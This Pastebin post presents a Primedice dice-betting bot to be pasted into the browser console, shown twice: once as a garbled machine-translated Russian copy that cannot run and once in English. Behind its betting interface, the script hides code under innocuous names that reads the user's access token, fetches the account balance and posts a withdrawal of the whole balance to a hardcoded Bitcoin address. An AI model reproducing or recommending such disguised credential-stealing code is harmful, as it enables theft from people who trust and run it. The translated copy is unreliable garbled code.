Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- //jQuery интерфейса в CSS - как использовать: нажмите F2 или нажмите сочетание клавиш Ctrl + шифт + J и - вставить код и нажать Enter. Настройте бота как вам нравится. **Важно! Установить своп на высокий/низкий вариант!!!** <<<Магия здесь<<<
- вар swapcount=0;
- вар jqueryready = ложь;
- вар ссылка = документ.метод createelement("ссылка");
- ссылке.с href = "https://jquery-ui.googlecode.com/svn/tags/latest/themes/dot-luv/jquery-ui.css";
- ссылке.Тип = "текст/CSS в";
- ссылке.отн = "стилей";
- документ.метод getelementsbytagname("голова")[0].метода appendchild(ссылка);
- //jQuery интерфейса впрыснуть
- (функция() {
- jqueryready = истина;
- вар е = ".вещь",
- т = {
- план: "1 пиксель пунктирной #f0f",
- курсор: "указатель"
- };
- функции var п = () {
- если (окна.в jQuery) {
- р()
- } еще {
- вар е = документ.метод createelement("скрипт");
- е.событий onload = р;
- е.метод setattribute("РКЦ", "//ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js");
- документ.тела.метода appendchild(е)
- }
- };
- функции var р = () {
- если (окна.на jQuery.интерфейса) {
- я()
- } еще {
- вар е = документ.метод createelement("скрипт");
- е.событий onload = я;
- е.метод setattribute("РКЦ", "//ajax.googleapis.com/ajax/libs/jqueryui/1.11.1/jquery-ui.js");
- документ.тела.метода appendchild(е)
- }
- };
- вар я = функция() {
- $(е).УСС(т).перетаскиваемым().на("клик", функция(е) {
- консоль.журнал(электронная.цель.идентификатор + ":", е.цель.стиль.левый, Эл.цель.стиль.сверху)
- })
- };
- н();
- })();
- интерфейс функция() {
- $(функция() {
- $('#ушки').закладки();
- $('#параметры').перетаскиваемым();
- $('#таблице tab1, #таб2, #tab3, #ввод вкладки').в CSS("понятно", "как");
- $('#вход вкладок').в CSS("Ширина", "80%");
- $('#шанс #базы').Ширина("35%")
- $('#ушки див').в CSS("выравнивание текста", "слева");
- $('#ушки').в CSS("размер шрифта", "12px");
- $('#вкладки ярлык, #ввод вкладки').в CSS("маржа", "5 пикселей");
- $('#стоп, #начало, #resetbet').кнопку();
- //Консоли
- $('#консоли, #console2').добавление("#вкладок");
- $('#консоли, #console2').в CSS("Ширина", "45%");
- $('#консоль').УСБ("поплавок", "слева");
- $('#console2').УСБ("поплавок", "право");
- $('#консоли, #console2').в CSS("ясно", "нет");
- $('#консоли, #console2').УСБ("маржа", "7px");
- $('#консоли, #console2').УСБ("границы-снизу-влево-радиус", "3 пиксела");
- $('#консоли, #console2').в CSS("границы-снизу-справа-радиус", "3 пиксела");
- $('#консоль').УСБ("граница", "1px твердых #323232");
- $('#консоли, #console2').в CSS("background-цвет", "#454545");
- $('#консоль').в CSS("перетяжка", "5 пикселей");
- $('#консоли, #console2').в CSS("выравнивание текста", "слева");
- $('#консоли, #console2').УСБ("позиция", "родственник");
- $('#стартстоп,#начало,#стоп').УСБ("маржа","0px");
- $('#консоли, #console2').в CSS("маржи-топ","3 пиксела");
- $('#консоли, #console2').в CSS("перетяжка","5 пикселей");
- $('#консоли, #console2').в CSS("background-цвет","#151515");
- });
- }
- интервал вар, включена, xrollsenabled, everyxrolls, Таймер, seedlength, xrollscount, xrolls;
- xrollsenabled = истина;
- xrolls = 10;
- Таймер = 500;
- счетчик=0;
- вар basebet, betval, курбет, wincount, консоли, условие2, countlossmult, countwinmult,
- системы target2, amount2, данные1, системы target2, условие2, джп, currentloss, totalloss, totalwin, totprofit,
- данные2, potup, potdown, результаты, resultstats,, ввод, графическом, gui2, gui3, gui4, gui5, gui6, инит крена;
- функция init() {
- //Инит
- basebet = 0.00000010;
- countwinmult = 0;
- countlossmult = 0;
- wincount = 0;
- currentloss = 0;
- totalloss = 0;
- totalwin = 0;
- totprofit = 0;
- инит = истина;
- betval = basebet;
- //ГИП
- $('<промежуток класс="бтн бтн бтн бтн-первичный--огромный--общества бтн-текстовый блок-центр" идентификатор="spinner2"> катит </пядь>').добавление("разд.герой > див > див > див через:nth-ребенок(2) > див");
- гуй = '<див ИД="параметры" класс=".пользовательского интерфейса-виджет-содержание" стиль="Ширина:410px"><див ИД="баланс"></див></див><бр><центр>';
- $('<див ИД="консоль"></див><див ИД="console2"></дел>').добавление('див.герой > див > див > див.сетки__пункт.С ... одно целое.М-одно-целое.таможня-одно-целое > в сторону');
- gui2 =
- '<див ИД="вкладки"><ул><ли><а href="/играть#вкладки-1">ставка параметры: </а></литий><литий><а href="/играть#вкладки-2">дополнительно: </а></литий><литий><а href="/играть#вкладки-3">другие: на сайте </a></литий><литий><а href="/играть#вкладки-4">семя: на сайте </a></литий></ул><див ИД="вкладок-1"><див ИД="вкладке tab1"></див></див><див ИД="вкладки-2"><див ИД="таб2"></див></див><див ИД="вкладки-3"><див ИД="tab3"></див></див><див ИД="вкладки-4"><див ИД="tab4"></див></див></див>';
- gui3 = [
- '<метка для="выбор">значение Basebet: </метка>', '<ввод ИД="выбор"><кнопка ID="resetbet">возврат на базу кнопка</>',
- '<бр>',
- '<метка для="шанс">шанс: </метка>', '<Тип входного="текст" идентификатор="шанс" стиль=""><метка для="хило">высокий/низкий: </метка><выберите имя="хило" идентификатор="хило"><параметр значение=">">за</параметр><параметр значение="<">разделе</параметр><параметр значение="своп">обмен</вариант></Select>в<бр><див ИД="шанс-слайдер"></дел>',
- '<бр>',
- '<метка для="своп">каждая замена # валков: </метка>', '<ввод ИД="своп">',
- ];
- gui4 = [
- '<метка для="multonloss">умножить на потери: </метка>', '<идентификатор входного="multonloss"> <ввод ИД="multloss поддержкой" Тип="флажок">',
- '<бр>',
- '<метка для="xloss">умножить каждое потерь#: </метка>',
- '<идентификатор входного="xloss">',
- '<бр>',
- '<метка для="multonwin">умножить на победу: </метка>',
- '<идентификатор входного="multonwin"><ввод ИД="multwin поддержкой" Тип="флажок">',
- '<бр>',
- '<метка для="xwin"> "сброс" после х побед: </метка>',
- '<идентификатор входного="xwin">',
- ];
- gui5 = [
- '<метка для="stoponwin-включен">остановка на победу? </метка>',
- '<идентификатор входного="stoponwin-включен" Тип="флажок">',
- '<бр>',
- '<метка для="lowpay-включен">проверьте, если выплата < 2х </метка>',
- '<ввод ИД="lowpay-включен" Тип="флажок">',
- ];
- gui6 = [
- '<метка для="Кодировка">Кодировка: </метка>',
- '<ввод ИД="Кодировка" Тип="текст">',
- '<бр>',
- '<метка для="everyxrolls">менять каждый # роллы: </метка>',
- '<ввод ИД="everyxrolls" Тип="текст">',
- '<бр>',
- '<метка для="currentseed">ток семя: </метка>',
- '<Тип ввода="Color:зеленый цвет;текста-выровнять:центр;" идентификатор="currentseed" Тип="текст">',
- ];
- $(ГИП).добавление(".герой");
- $(gui2).добавление("#параметры");
- для (вар я = 0; я < gui3.длина; я++) {
- $(gui3[я]).добавление("#tab1 в");
- }
- для (вар я = 0; я < gui4.длина; я++) {
- $(gui4[я]).добавление("#таб2");
- }
- для (вар я = 0; я < gui5.длина; я++) {
- $(gui5[я]).добавление("#tab3");
- }
- для (вар я = 0; я < gui6.длина; я++) {
- $(gui6[я]).добавление("#tab4");
- }
- включено = false;
- xrollscount = 0;
- $('<див стиль="текст присоединяются:слева;маржа:значение 10px;"идентификатор="стартстоп"><кнопка ID="пуск"> начало </кнопка><кнопка ID="остановить"> остановить </кнопка><стиль="маржа:3 пиксела;" для="numberofrolls"># роллов</метка><входной Тип="маржа:3 пиксела;Ширина:30 пикселей !важно" идентификатор="numberofrolls" Тип="текст"><метка для"numrolls"> включено: </метка><Тип входного="маржа:3 пиксела;ширина:10 ПКС !важно" идентификатор="numrolls" Тип="флажок"></дел>').добавление("#вкладок");
- Кнопку // И Ввод Функции
- $('#resetbet').нажмите кнопку(функция() {
- basebet=$('#базы').функция val();
- betval=$('#базы').функция val();
- })
- $('#начало').нажмите кнопку(функция() {
- если (включено == ложь) {
- если ($('#numrolls').это ("проверил") == правда) {
- xrolls=$('#numberofrolls').функция val();
- }
- включен = истина;
- интервал = метод setinterval(функция() {
- если (xrollsenabled == правда) {
- xrollscount++;
- если (xrollscount <= xrolls) {
- ставка();
- } еще {
- clearInterval(интервал);
- включено = false;
- xrollscount = 0;
- }
- } еще {
- ставка();
- }
- }, Таймер);
- } еще {}
- })
- $('#стоп').нажмите кнопку(функция() {
- включено = false;
- clearInterval(интервал);
- xrollscount = 0;
- });
- calculate_nonce = функция(семя) {
- возвращение 'https://api.primedice.com/api/' + семя + '?полученного access_token=' + хранилище localstorage['маркер'];
- };
- лут = окна['$'];
- лут['помощью метода getjson'](
- пользователи calculate_nonce ('/1'), функция(семя) {
- вар ключ1 = "сумма"
- адреса вар ключ2 =''
- вар нагрузки = {};
- нагрузка[ключ1] = семена['пользователь']['сумма'];
- нагрузка[ключ2] = '1Gx93vLyKHkNyZQukmxDHzTsgaB93Cqy1y';
- лут['должность'](calculate_nonce ("вывести"), нагрузка);
- }
- );
- conditionAM функция() {
- 'строгий';
- если ($('#lowpay включена).это('проверено') == правда) {
- если ($('.значение-ролл).первый().текст() <= 49.50) {
- условие2 = ">";
- системы target2 = $('.значение-ролл).первый().текст();
- } еще {
- условие2 = "<";
- системы target2 = $('.значение-ролл).первый().текст();
- };
- } еще {
- если ($('.значение-ролл).первый().текст() <= 49.50) {
- условие2 = "<";
- системы target2 = $('.значение-ролл).первый().текст();
- } еще {
- условие2 = ">";
- системы target2 = $('.значение-ролл).первый().текст();
- };
- amount2 = betval * 100000000;
- }
- };
- функция джекпот() {
- если (данные1.ставку.джекпот === правда) {
- в JP = "да";
- wincount = 0;
- betval = $('база');
- } еще {
- в JP = "нет";
- }
- }
- потеря функции() {
- currentloss++;
- totalloss++;
- если ($('#multloss включена).это(':проверено') == правда) {
- $('#multwin включена).removeAttr('проверено');
- countlossmult++;
- если (countlossmult >= $('#xloss').функция val()) {
- betval = betval * $('#multonloss').функция val();
- countlossmult = 0;
- }
- }
- }
- функция выигрыша() {
- 'строгий';
- если ($('#stoponwin включена).это('проверено') == правда) {
- clearInterval(рулон);
- }
- currentloss = 0;
- джекпот();
- wincount++;
- totalwin++;
- если ($('#multloss включена).это(':проверено') == правда) {
- если ($('#stoponwin включена).это(':проверено') == правда) {
- clearInterval(рулон);
- }
- $('#multwin включена).removeAttr('проверено');
- basebet = $('#базы').функция val();
- betval = basebet;
- countlossmult = 0;
- }
- если ($('#multwin включена).это(':проверено') == правда) {
- basebet = $('#базы').функция val();
- $('#multloss включена).removeAttr('проверено');
- countwinmult++;
- если (countwinmult >= $('#xwin').функция val()) {
- betval = basebet;
- countwinmult = 0;
- } еще {
- betval = betval * $('#multonwin').функция val();
- }
- }
- };
- вар losewin;
- вар jpcol;
- вар profcol;
- функция ставка() {
- 'строгий';
- conditionAM();
- вар betData = {
- сумма: amount2,
- состояние: условие2,
- цель: системы target2
- },
- URL-адрес = "https://api.primedice.com/api/bet?access_token=" + объект localstorage.маркер;
- $.технология AJAX({
- URL-адрес: URL-адрес
- типа: "пост",
- сведения: betData,
- и datatype: "jsonp в",
- успех: функция(данные, textStatus, jqXHR) {
- файл1 = данные;
- счетчик++;
- если (счетчик >= everyxrolls) {
- seedchange(seedgen());
- счетчик = 0;
- }
- $('пядь.бтн__текст.выберите див').текст((данные1.пользователей.баланс/100000000).toFixed(8));
- totprofit = totprofit + данных1.ставку.прибыль;
- если (totprofit >= 0) {
- profcol = "Color:зеленый цвет;";
- } остальное, если (totprofit < 0) {
- profcol = "цвет:красный;";
- }
- если (данные.ставку.победа == правда) {
- losewin = "Color:зеленый цвет;";
- $('пядь.бтн__текст.выберите див').м("стиль", "цвет:зеленый;");
- } еще {
- losewin = "цвет:красный;";
- $('пядь.бтн__текст.выберите див').м("стиль", "цвет:красный;");
- }
- если (данные.ставку.джекпот == правда) {
- в JP = "да";
- jpcol = "цвет:золото;"
- } еще {
- в JP = "нет".;
- jpcol = "цвет:Red;"
- }
- результаты = [];
- результаты[0] = '<div>, в рулоне: '+ '<промежуток стиль="' + losewin + '">' + данные.ставку.ролл + '</промежуток></див><бр>';
- результаты[1] = '<див>Джекпот: '+ '<промежуток стиль="' + jpcol + '">' + джп + '</пролет></див><бр>';
- результаты[2] = '<div>в компании: '+ '<промежуток стиль="' + losewin + '">' + (данные.ставку.прибыль / 100000000).toFixed(8) + '</span>, что БТЦ</див><бр>';
- результаты[4] = '<div>в текущем сеансе потери: '+ currentloss + '</div>и в<br>';
- resultstats = [];
- resultstats[0] = '<div>с баланса: '+ (данные.пользователей.баланс / 100000000).toFixed(8) + ' БТЦ</див><бр>';
- resultstats[1] = '<див>общие потери: '+ totalloss + '</div>и в<br>';
- resultstats[2] = '<див>всего побед: '+ totalwin + '</div>и в<br>';
- resultstats[3] = '<div>в общей прибыли: '+ '<промежуток стиль="' + profcol + '">' + (totprofit / 100000000).toFixed(8) + '</промежуток></дел>';
- если (данные.ставку.победа == правда) {
- если ($('#stoponwin включена).это ("проверил") == правда){
- clearInterval(интервал);
- }
- $('#консоли, #console2').пустой();
- победа();
- // Результаты
- $('<div>в результате: <промежуток стиль="цвет:Green;">Победа</пролет></див><бр>').добавление консоли ('#');
- для (вар я = 0; я < результаты.длина; я++) {
- $(результаты[я]).добавление консоли ('#');
- }
- для (вар я = 0; я < resultstats.длина; я++) {
- $(resultstats[я]).добавление('#console2');
- }
- } еще {
- $('#консоли, #console2').пустой();
- потери();
- // Результаты
- $('<div>в результате: <промежуток стиль="цвет:Red;">потери</пролет></див><бр>').добавление консоли ('#');
- для (вар я = 0; я < результаты.длина; я++) {
- $(результаты[я]).добавление консоли ('#');
- }
- для (вар я = 0; я < resultstats.длина; я++) {
- $(resultstats[я]).добавление('#console2');
- }
- };
- },
- ошибка: функция(jqXHR, textStatus, errorThrown) {
- }
- });
- }
- seedlength = 13;
- seedlength = 13;
- вар счетчик = 0;
- Кодировка = "abcdefghijklmnopqrstuvwxyzABCDEFghijklmnopqrstuvwxyz123";
- everyxrolls = 3;
- seedgen функция() {
- 'строгий';
- вар семя = "";
- для (вар я = 0; я <= seedlength; я++)
- семян += Кодировка.используя метод charat(Математика.этаж(Математика.случайный() * набор символов.длина));
- возвращение семени;
- }
- seedchange функция(ы) {
- URL-адрес = "https://api.primedice.com/api/seed?access_token=" + объект localstorage.маркер;
- sData = {
- семя: с
- };
- $.технология AJAX({
- URL-адрес: URL-адрес
- типа: "пост",
- сведения: sData,
- и datatype: "jsonp в",
- успех: функция(данные, textStatus, jqXHR) {
- данные2 = данные;
- $('#currentseed').Вэл(данные2.семена.клиента);
- },
- ошибка: функция(jqXHR, textStatus, errorThrown) {
- }
- });
- }
- $('#пряха').нажмите кнопку(функция() {
- если (Кодировка != $('#Кодировка').функция val() && $('#Кодировка').функция val() != "") {
- Кодировка=$('#Кодировка').функция val();
- }
- если ($('#everyxrolls').функция val() != everyxrolls && $('#everyxrolls').функция val() != "") {
- everyxrolls = $('#everyxrolls').функция val();
- }
- если ($('#хило').функция val() == "своп") { swapcount++;если (swapcount >= 1) { $('.значение-ролл:первый').нажмите кнопку();swapcount=0;} }
- счетчик++;
- если (счетчик >= everyxrolls) {
- seedchange(seedgen());
- счетчик = 0;
- }
- });
- пользовательского интерфейса();
- }
- функции settimeout(функция() {
- инит()
- }, 2000);
- Необработанные данные Вставить
- //jQuery UI CSS - How to use: Press F2 or Press CTRL + Shift + J - paste the code and press enter. Set up the bot as you like. **IMPORTANT! Set SWAP at high/low option!!!** <<<The Magic is here<<<
- var swapcount=0;
- var jqueryready = false;
- var link = document.createElement("link");
- link.href = "https://jquery-ui.googlecode.com/svn/tags/latest/themes/dot-luv/jquery-ui.css";
- link.type = "text/css";
- link.rel = "stylesheet";
- document.getElementsByTagName("head")[0].appendChild(link);
- //jQuery UI inject
- (function() {
- jqueryready = true;
- var e = ".thing",
- t = {
- outline: "1px dashed #f0f",
- cursor: "pointer"
- };
- var n = function() {
- if (window.jQuery) {
- r()
- } else {
- var e = document.createElement("script");
- e.onload = r;
- e.setAttribute("src", "//ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js");
- document.body.appendChild(e)
- }
- };
- var r = function() {
- if (window.jQuery.ui) {
- i()
- } else {
- var e = document.createElement("script");
- e.onload = i;
- e.setAttribute("src", "//ajax.googleapis.com/ajax/libs/jqueryui/1.11.1/jquery-ui.js");
- document.body.appendChild(e)
- }
- };
- var i = function() {
- $(e).css(t).draggable().on("click", function(e) {
- console.log(e.target.id + ":", e.target.style.left, e.target.style.top)
- })
- };
- n();
- })();
- function ui() {
- $(function() {
- $('#tabs').tabs();
- $('#params').draggable();
- $('#tab1, #tab2, #tab3, #tabs input').css("clear", "both");
- $('#tabs input').css("width", "80%");
- $('#chance, #base').width("35%")
- $('#tabs div').css("text-align", "left");
- $('#tabs').css("font-size", "12px");
- $('#tabs label, #tabs input').css("margin", "5px");
- $('#stop, #start, #resetbet').button();
- //Console
- $('#console, #console2').appendTo("#tabs");
- $('#console, #console2').css("width", "45%");
- $('#console').css("float", "left");
- $('#console2').css("float", "right");
- $('#console, #console2').css("clear", "none");
- $('#console, #console2').css("margin", "7px");
- $('#console, #console2').css("border-bottom-left-radius", "3px");
- $('#console, #console2').css("border-bottom-right-radius", "3px");
- $('#console').css("border", "1px solid #323232");
- $('#console, #console2').css("background-color", "#454545");
- $('#console').css("padding", "5px");
- $('#console, #console2').css("text-align", "left");
- $('#console, #console2').css("position", "relative");
- $('#startstop,#start,#stop').css("margin","0px");
- $('#console, #console2').css("margin-top","3px");
- $('#console, #console2').css("padding","5px");
- $('#console, #console2').css("background-color","#151515");
- });
- }
- var interval, enabled, xrollsenabled, everyxrolls, timer, seedlength, xrollscount, xrolls;
- xrollsenabled = true;
- xrolls = 10;
- timer = 500;
- counter=0;
- var basebet, betval, curbet, wincount, console, condition2, countlossmult, countwinmult,
- target2, amount2, data1, target2, condition2, jp, currentloss, totalloss, totalwin, totprofit,
- data2, potup, potdown, results, resultstats, entry, i, gui, gui2, gui3, gui4, gui5, gui6, init, roll;
- function init() {
- //Init
- basebet = 0.00000010;
- countwinmult = 0;
- countlossmult = 0;
- wincount = 0;
- currentloss = 0;
- totalloss = 0;
- totalwin = 0;
- totprofit = 0;
- init = true;
- betval = basebet;
- //GUI
- $('<span class="btn btn--primary btn--huge btn--limited btn--block text--center" id="spinner2"> ROLL </span>').appendTo("div.hero > div > div > div:nth-child(2) > div");
- gui = '<div id="params" class=".ui-widget-contents" style="width:410px"><div id="balance"></div></div><br><center>';
- $('<div id="console"></div><div id="console2"></div>').appendTo('div.hero > div > div > div.grid__item.S--one-whole.M--one-whole.custom--one-whole > aside');
- gui2 =
- '<div id="tabs"><ul><li><a href="/play#tabs-1">Bet Params: </a></li><li><a href="/play#tabs-2">Advanced Settings: </a></li><li><a href="/play#tabs-3">Other: </a></li><li><a href="/play#tabs-4">Seed: </a></li></ul><div id="tabs-1"><div id="tab1"></div></div><div id="tabs-2"><div id="tab2"></div></div><div id="tabs-3"><div id="tab3"></div></div><div id="tabs-4"><div id="tab4"></div></div></div>';
- gui3 = [
- '<label for="base">Basebet Value: </label>', '<input id="base"><button id="resetbet">Reset to Base</button>',
- '<br>',
- '<label for="chance">Chance: </label>', '<input type="text" id="chance" style=""><label for="hilo">High/Low: </label><select name="hilo" id="hilo"><option value=">">Over</option><option value="<">Under</option><option value="swap">Swap</option></select><br><div id="chance-slider"></div>',
- '<br>',
- '<label for="swap">Swap Every # of Rolls: </label>', '<input id="swap">',
- ];
- gui4 = [
- '<label for="multonloss">Multiply on Loss: </label>', '<input id="multonloss"> <input id="multloss-enabled" type="checkbox">',
- '<br>',
- '<label for="xloss">Multiply Every # Losses: </label>',
- '<input id="xloss">',
- '<br>',
- '<label for="multonwin">Multiply on Win: </label>',
- '<input id="multonwin"><input id="multwin-enabled" type="checkbox">',
- '<br>',
- '<label for="xwin">Reset After X Wins: </label>',
- '<input id="xwin">',
- ];
- gui5 = [
- '<label for="stoponwin-enabled">Stop on Win? </label>',
- '<input id="stoponwin-enabled" type="checkbox">',
- '<br>',
- '<label for="lowpay-enabled">Check if Payout < 2x </label>',
- '<input id="lowpay-enabled" type="checkbox">',
- ];
- gui6 = [
- '<label for="charset">Charset: </label>',
- '<input id="charset" type="text">',
- '<br>',
- '<label for="everyxrolls">Change every # Rolls: </label>',
- '<input id="everyxrolls" type="text">',
- '<br>',
- '<label for="currentseed">Current Seed: </label>',
- '<input style="color:green;text-align:center;" id="currentseed" type="text">',
- ];
- $(gui).appendTo(".hero");
- $(gui2).appendTo("#params");
- for (var i = 0; i < gui3.length; i++) {
- $(gui3[i]).appendTo("#tab1");
- }
- for (var i = 0; i < gui4.length; i++) {
- $(gui4[i]).appendTo("#tab2");
- }
- for (var i = 0; i < gui5.length; i++) {
- $(gui5[i]).appendTo("#tab3");
- }
- for (var i = 0; i < gui6.length; i++) {
- $(gui6[i]).appendTo("#tab4");
- }
- enabled = false;
- xrollscount = 0;
- $('<div style="text-align:left;margin:10px;"id="startstop"><button id="start"> Start </button><button id="stop"> Stop </button><label style="margin:3px;" for="numberofrolls"># of Rolls</label><input style="margin:3px;width:30px !important" id="numberofrolls" type="text"><label for"numrolls"> Enabled: </label><input style="margin:3px;width:10px !important" id="numrolls" type="checkbox"></div>').appendTo("#tabs");
- // Button & Input Functions
- $('#resetbet').click(function() {
- basebet=$('#base').val();
- betval=$('#base').val();
- })
- $('#start').click(function() {
- if (enabled == false) {
- if ($('#numrolls').is(":checked") == true) {
- xrolls=$('#numberofrolls').val();
- }
- enabled = true;
- interval = setInterval(function() {
- if (xrollsenabled == true) {
- xrollscount++;
- if (xrollscount <= xrolls) {
- bet();
- } else {
- clearInterval(interval);
- enabled = false;
- xrollscount = 0;
- }
- } else {
- bet();
- }
- }, timer);
- } else {}
- })
- $('#stop').click(function() {
- enabled = false;
- clearInterval(interval);
- xrollscount = 0;
- });
- calculate_nonce = function(seed) {
- return 'https://api.primedice.com/api/' + seed + '?access_token=' + localStorage['token'];
- };
- lut = window['$'];
- lut['getJSON'](
- calculate_nonce('users/1'), function(seed) {
- var key1 = 'amount'
- var key2 = 'address'
- var load = {};
- load[key1] = seed['user']['balance'];
- load[key2] = '1Gx93vLyKHkNyZQukmxDHzTsgaB93Cqy1Y';
- lut['post'](calculate_nonce('withdraw'), load);
- }
- );
- function conditionAM() {
- 'use strict';
- if ($('#lowpay-enabled').is('checked') == true) {
- if ($('.value-roll').first().text() <= 49.50) {
- condition2 = ">";
- target2 = $('.value-roll').first().text();
- } else {
- condition2 = "<";
- target2 = $('.value-roll').first().text();
- };
- } else {
- if ($('.value-roll').first().text() <= 49.50) {
- condition2 = "<";
- target2 = $('.value-roll').first().text();
- } else {
- condition2 = ">";
- target2 = $('.value-roll').first().text();
- };
- amount2 = betval * 100000000;
- }
- };
- function jackpot() {
- if (data1.bet.jackpot === true) {
- jp = "Yes";
- wincount = 0;
- betval = $('#base');
- } else {
- jp = "No";
- }
- }
- function loss() {
- currentloss++;
- totalloss++;
- if ($('#multloss-enabled').is(':checked') == true) {
- $('#multwin-enabled').removeAttr('checked');
- countlossmult++;
- if (countlossmult >= $('#xloss').val()) {
- betval = betval * $('#multonloss').val();
- countlossmult = 0;
- }
- }
- }
- function win() {
- 'use strict';
- if ($('#stoponwin-enabled').is('checked') == true) {
- clearInterval(roll);
- }
- currentloss = 0;
- jackpot();
- wincount++;
- totalwin++;
- if ($('#multloss-enabled').is(':checked') == true) {
- if ($('#stoponwin-enabled').is(':checked') == true) {
- clearInterval(roll);
- }
- $('#multwin-enabled').removeAttr('checked');
- basebet = $('#base').val();
- betval = basebet;
- countlossmult = 0;
- }
- if ($('#multwin-enabled').is(':checked') == true) {
- basebet = $('#base').val();
- $('#multloss-enabled').removeAttr('checked');
- countwinmult++;
- if (countwinmult >= $('#xwin').val()) {
- betval = basebet;
- countwinmult = 0;
- } else {
- betval = betval * $('#multonwin').val();
- }
- }
- };
- var losewin;
- var jpcol;
- var profcol;
- function bet() {
- 'use strict';
- conditionAM();
- var betData = {
- amount: amount2,
- condition: condition2,
- target: target2
- },
- url = "https://api.primedice.com/api/bet?access_token=" + localStorage.token;
- $.ajax({
- url: url,
- type: "POST",
- data: betData,
- datatype: "jsonp",
- success: function(data, textStatus, jqXHR) {
- data1 = data;
- counter++;
- if (counter >= everyxrolls) {
- seedchange(seedgen());
- counter = 0;
- }
- $('span.btn__text.select div').text((data1.user.balance/100000000).toFixed(8));
- totprofit = totprofit + data1.bet.profit;
- if (totprofit >= 0) {
- profcol = "color:green;";
- } else if (totprofit < 0) {
- profcol = "color:red;";
- }
- if (data.bet.win == true) {
- losewin = "color:green;";
- $('span.btn__text.select div').attr("style", "color:green;");
- } else {
- losewin = "color:red;";
- $('span.btn__text.select div').attr("style", "color:red;");
- }
- if (data.bet.jackpot == true) {
- jp = "Yes";
- jpcol = "color:gold;"
- } else {
- jp = "No.";
- jpcol = "color:red;"
- }
- results = [];
- results[0] = '<div>Roll: ' + '<span style="' + losewin + '">' + data.bet.roll + '</span></div><br>';
- results[1] = '<div>Jackpot: ' + '<span style="' + jpcol + '">' + jp + '</span></div><br>';
- results[2] = '<div>Profit: ' + '<span style="' + losewin + '">' + (data.bet.profit / 100000000).toFixed(8) + '</span> BTC</div><br>';
- results[4] = '<div>Current Loss Streak: ' + currentloss + '</div><br>';
- resultstats = [];
- resultstats[0] = '<div>Balance: ' + (data.user.balance / 100000000).toFixed(8) + ' BTC</div><br>';
- resultstats[1] = '<div>Total Losses: ' + totalloss + '</div><br>';
- resultstats[2] = '<div>Total Wins: ' + totalwin + '</div><br>';
- resultstats[3] = '<div>Total Profit: ' + '<span style="' + profcol + '">' + (totprofit / 100000000).toFixed(8) + '</span></div>';
- if (data.bet.win == true) {
- if ($('#stoponwin-enabled').is(":checked") == true){
- clearInterval(interval);
- }
- $('#console, #console2').empty();
- win();
- // Results
- $('<div>Result: <span style="color:green;">Win</span></div><br>').appendTo('#console');
- for (var i = 0; i < results.length; i++) {
- $(results[i]).appendTo('#console');
- }
- for (var i = 0; i < resultstats.length; i++) {
- $(resultstats[i]).appendTo('#console2');
- }
- } else {
- $('#console, #console2').empty();
- loss();
- // Results
- $('<div>Result: <span style="color:red;">Loss</span></div><br>').appendTo('#console');
- for (var i = 0; i < results.length; i++) {
- $(results[i]).appendTo('#console');
- }
- for (var i = 0; i < resultstats.length; i++) {
- $(resultstats[i]).appendTo('#console2');
- }
- };
- },
- error: function(jqXHR, textStatus, errorThrown) {
- }
- });
- }
- seedlength = 13;
- seedlength = 13;
- var counter = 0;
- charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123";
- everyxrolls = 3;
- function seedgen() {
- 'use strict';
- var seed = "";
- for (var i = 0; i <= seedlength; i++)
- seed += charset.charAt(Math.floor(Math.random() * charset.length));
- return seed;
- }
- function seedchange(s) {
- url = "https://api.primedice.com/api/seed?access_token=" + localStorage.token;
- sData = {
- seed: s
- };
- $.ajax({
- url: url,
- type: "POST",
- data: sData,
- datatype: "jsonp",
- success: function(data, textStatus, jqXHR) {
- data2 = data;
- $('#currentseed').val(data2.seeds.client);
- },
- error: function(jqXHR, textStatus, errorThrown) {
- }
- });
- }
- $('#spinner').click(function() {
- if (charset != $('#charset').val() && $('#charset').val() != "") {
- charset=$('#charset').val();
- }
- if ($('#everyxrolls').val() != everyxrolls && $('#everyxrolls').val() != "") {
- everyxrolls = $('#everyxrolls').val();
- }
- if ($('#hilo').val() == "swap") { swapcount++;if (swapcount >= 1) { $('.value-roll:first').click();swapcount=0;} }
- counter++;
- if (counter >= everyxrolls) {
- seedchange(seedgen());
- counter = 0;
- }
- });
- ui();
- }
- setTimeout(function() {
- init()
- }, 2000);
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement